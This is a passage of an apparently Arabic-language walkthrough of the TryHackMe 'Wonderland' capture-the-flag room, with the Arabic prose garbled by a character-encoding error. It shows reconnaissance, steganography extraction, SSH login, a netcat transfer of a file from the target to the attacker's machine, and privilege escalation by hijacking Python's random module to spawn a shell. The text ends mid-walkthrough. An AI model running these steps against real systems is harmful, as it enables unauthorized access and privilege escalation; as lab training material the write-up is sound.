TryHackMe|WonderLand WriteUp\Walkthrough (Arabic)
ุจุณู ุงููู
ุงููู ูุจุบู ูุดูู ุงูุญู ู ุดุฑูุญ ููุฏูู ูุฑุฌุน ููููุฏูู ุนูู ููุงุชู ุจุงูููุชููุจ ุนูู ูุฐุง ุงูุฑุงุจุท:
ุฑุงุจุท ุงูุชุญุฏู: https://tryhackme.com/r/room/wonderland
====================================================
ููู ุฉ IP ูู ูู ุงูููู ุงูุฏุฒ ุงููู ุฃูุชุจูุง ุชُุณุชุจุฏู ุจุงููIP ููู ุดูู ุญูุชูู ุนูู TryHackMe
ุฃูู ุญุงุฌุฉ ูุดุบู ุงููmachine ููุชุฃูุฏ ุฅููุง ุงุชุตููุง ุจุดุจูุฉ TryHackMe ูุงูุงุชุตุงู ู ุถุจูุท، ุจุนุฏูู ูุจุฏุฃ ุจุฃูู ุฎุทูุฉ ููุญู ููู ุฅููุง ูุณูู scan ููุดุจูุฉ ุจุงุณุชุฎุฏุงู nmap
sudo nmap IP -vv
ุทูุน ู ุนุงูุง ุจูุฑุชูู 22 ู 80، ูุฑุฌุน ูุณูู Aggressive ุณูุงู ุนูู ููุณ ูุฐู ุงูุจูุฑุชุงุช
sudo nmap IP -vv -A -p 80,22
ุจูุฑุช 22 ุนูููุง SSH ูุงููุธุงู ูู ubuntu، ูุนูู ุจูุฑุช 80 ุนูุฏูุง Golang http server.
ูุฑูุญ ููู ุชุตูุญ ููุฒูุฑ ุงูุตูุญุฉ ุงูุฑุฆูุณูุฉ، ูุจูุทูุน ู ุนุงูุง ุตูุฑุฉ ุฃุฑูุจ ูููููุง ููุงู ، ููู ุฏุฎููุง ุนูู ุงููsource code، ู ุง ุจููุงูู ุดูุก ู ูู ، ุจูุณูู directory enumeration ุจุงุณุชุฎุฏุงู gobuster
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64
ุทูุน ู ุนุงูุง ู ุณุงุฑูู img ู r، ุฅุฐุง ุฑุญูุง ููู ุชุตูุญ ูุฒุฑูุง r ุจูููู ุฑุณุงูุฉ "keep going" ู ุนูุงุชู ูู ู ุณุงุฑุงุช ุฎูู ูุฐุง ุงูู ุณุงุฑ، ููุญุชุงุฌ ูุณูู gobuster ูู ุงู، ููู ูุจู ููู ู ุจูุดูู ุงูู ุณุงุฑ ุงูุซุงูู img، ุจููุงูู ููู 3 ุตูุฑ، ูุญู ููุง ูููุง ุนูู ุฌูุงุฒูุง، ููุดูู ุนูููุง. ุจุนุฏ ุฏุฑุงุณุฉ ุงูู3 ุตูุฑ ูููุง، ุงูุตูุฑุฉ ุงููู ูููุง ู ุนููู ุฉ ู ููุฏุฉ ูู white_rabbit_1.jpg
ุฃูู ุญุงุฌุฉ ุจูุดูู ุงูุด ุจุฏุงุฎููุง ุจุงุณุชุฎุฏุงู
steghide info white_rabbit_1.jpg
ุจููููู ุฅู ุจุฏุงุฎููุง ุนูุฏู ู ูู ุงุณู ู hint.txt
ูุนุดุงู ูุณุชุฎุฑุฌู
steghide extract -sf whilte_rabbit_1.jpg
ูู ุง ูุทูุจ ููู ุฉ ุงูุณุฑ ูุถุบุท Enter ุซู ุจูุชุญู ู ุนูุฏู ุงูู ูู، ุจุฏุงุฎู ุงูู ูู ููู ู ูุงุญุธุฉ
ููููู ุงุชุจุน ุงูู r a b b i t ، ููู ุฑูุฒูุง، ูู ู ุฎูู ุจูู ูู ุญุฑู ูุญุฑู ูุฑุงุบ، ูุจุงูู ุชุตูุญ ูู ุงูุตูุญุฉ ุงููู ุงุณู ูุง r ููููู keep going، ูู ุนูุงุชู ุฅู ูู ุตูุญุฉ http://IP/r/a/b/b/i/t ุนูู ุงูู ููุน، ูุฑูุญ ููุตูุญุฉ، ููุดูู ูุด ููุงูู ูููุง.
ุงูุตูุญุฉ ูููุง ุตูุฑุฉ ูููููุง ููุงู ، ู ุง ููู ุดูุก ู ูู ، ูููู ูู ุฏุฎููุง ุนูู ุงููsource code، ุจููุงูู alice ูููู ุฉ ุณุฑูุง ู ูุฌูุฏุฉ ูููููุง ู ุฎููุฉ (display: none)، ููุฐูู ู ุง ุธูุฑุช ู ุนุงูุง ูู ุงูุตูุญุฉ.
ุงูุญูู ูุงุฎุฐ ููู ุฉ ุงูุณุฑ ูุฐู ููุฏุฎู ุนูู ุงููุธุงู ููalice ุจุงุณุชุฎุฏุงู SSH.
ุฃูู ู ุง ูุฏุฎู ุนูู ุงููุธุงู ูุจุบู ูููู ุงูู user.txt ููู ูุงู ููุง ูู ุงูุณุคุงู ุฅูู ูู ุดูุก ู ูููุจ ููุง، ููู ุนุฑุถูุง ุงูู ููุงุช ุงูู ูุฌูุฏุฉ ูู ู ุฌูุฏ alice ุจููุงูู root.txt ุงููู ุจุงูุนุงุฏุฉ ูููู ูู ุงููroot home directory.
ุฅุฐู ู ุนูุงุชู ุฅููุง ุจููุงูู ููุงู ุงูู ุณุชุฎุฏู ูู ู ุฌูุฏ ุงูุฑููุช، ูุนุดุงู ูุนุฑุถู
cat /root/user.txt
ูุจูุฐุง ูููู ุญุตููุง ุนูู ุฃูู ููุงู ✨، ุงูุญูู ูุจู ููุฏุฑ ููุฑุฃ ููุงู ุงูุฑูุช، ุงููู ุฒู ู ู ูุงุถุญ ู ุง ููุฏุฑ ููุฑุฃู ุฅูุง ุฑููุช، ุฅุฐู ูุงุฒู ูุฑูุน ุตูุงุญูุงุชูุง.
ุงูููุฑุฉ ู ู ูุฐุง ุงูุชุญุฏู، ุฅู ุงูุทุฑููุฉ ู ุงูู ู ู alice ุนูุทูู ูููุฒ ุนูู root، ุจู ุจููุชูู ู ู ู ุณุชุฎุฏู ูู ุณุชุฎุฏู ุขุฎุฑ، ุญุชู ููุตู ุฅูู root.
ูู ูุงุญุธูุง ูู ุงูู ููุงุช ุงููู ู ูุฌูุฏุฉ ูู ู ุฌูุฏ ุฃููุณ، ุนูุฏูุง ุจุงูุซูู ุณูุฑูุจุช، ูุงููู ููุฏุฑ ูุนุฏู ุนููู ูู ุงูุฑููุช ููุท، ููู ุงุญูุง ููุฏุฑ ููุฑุฃู، ูู ุฌุฑุจูุง ูุดุบูู، ุจููุงุญุธ ุฅู ูู ูู ู ุฑุฉ ูุดุบูู ูุงุนุฏ ูุทุจุน ููุง 10 ุฃุดุทุฑ ู ุฎุชููุฉ ู ู ุงููุตูุฏุฉ.
ุงูุขู ุจูุณุชุนุฑุถู ููุดูู ููู ููุฏุฑ ูุณุชููุฏ ู ูู، ุจุงุณุชุฎุฏู strings؛ ููู strings ู ุงูู ู ูุฌูุฏุฉ ุนูู ุงูุถุญูุฉ، ูุจุฃููู ุงูู ูู ุนูู ุฌูุงุฒู، ูุฃุดููู ููุงู. ุจุฃุณุชุฎุฏู netcat
ูู ncat ุงููlistener ูู ุงููู ูุณุชูุจู ูุงููClient ูู ุงููู ูุฑุณู، ููุงุฒู ูุดุบู ุงููlistener ูุจู ุงููclient
ุนูู ุฌูุงุฒูุง
nc -nlvp 1234 > walrus_and_the_carpenter.py
ูุนูู ุงูุถุญูุฉ
nc -nv OpenVPN-IP 1234 < walrus_and_the_carpenter.py
strings walrus_and_the_carpenter.py
ุจููุงุญุธ ุฅู ุงูู ูู ูุณุชุฏุนู random، ูุงูุจุงูุซูู ููุฏ ุฅุฐุง ุงุณุชุฏุนูุช ุฃูู ุดูุก ุจูุจุญุซ ูู ุงูู ุฌูุฏ ุงูุญุงูู، ูุงููู ุจูุณููู ุฅููุง ุจูุณูู ุจุงูุซูู ููุฏ، ูุนุทููู shell ููุญูุธู ุจุงุณู random ูู ููุณ ู ุฌูุฏ alice، ูุจูุฐุง ูู ุง ูุดุบู walrus_and_the_carpenter.py ุจูุนุทููุง ุนูุทูู shell، ููู ูู ูู ุจุงูุถุจุท؟ ุนูู ุญุณุจ ุฃูุง ุจุตูุงุญูุงุช ู ูู ุดุบูุช ุงูุณูุฑูุจุช، ูู ุจุตูุงุญูุงุช ุฑููุช ุจุญุตู ุนูู ุฑููุช ู ุจุงุดุฑุฉ، ููู ู ุง ุนูุฏู ููู ุฉ ุณุฑ ูู، ููู ู ู ูู ูููู ู ุณู ูุญ ูู ุฃุดุบูู ุจุงุณุชุฎุฏุงู ุฑููุช ุฃู ุงู ู ุณุชุฎุฏู ุขุฎุฑ، ูุนุดุงู ูุนุฑู ุฅุฐุง ููู ุดูุก ูุฐุง ุฃู ูุง ูุดุบู ุงูููู ุงูุฏ sudo -l ุนูู ุงูุถุญูุฉ ููุดูู
ูุงุถุญ ู ู ุงูุตูุฑุฉ ุฅูู alice ู ู ูู ุชููุฐ ุงูููุฏ ููrabbit، ู ุนูุงุชู ูู ููุฐุช ุงูููุฏ ุจุตูุงุญูุงุช rabbit، ุฑุญ ุฃุญุตู ู ุจุงุดุฑุฉ ุนูู rabbit shell. ุฅุฐู ุฃูู ุญุงุฌุฉ ุจูุจุฏุฃ ูุณูู ุงูู ูู ุงููู ุงุณู ู random
vim random
ูููุชุจ ุจุฏุงุฎูู
import os
os.system("/bin/bash")
ูุณูู ุญูุธ ููุฎุฑุฌ، ุซู ูุดุบูู ููrabbit
sudo -u rabbit /home/alice/walrus_and_the_carpenter.py
ูุนูุทูู ุจูุญุตู ุนูู rabbit shell
cd /home/rabbit















Comments
Post a Comment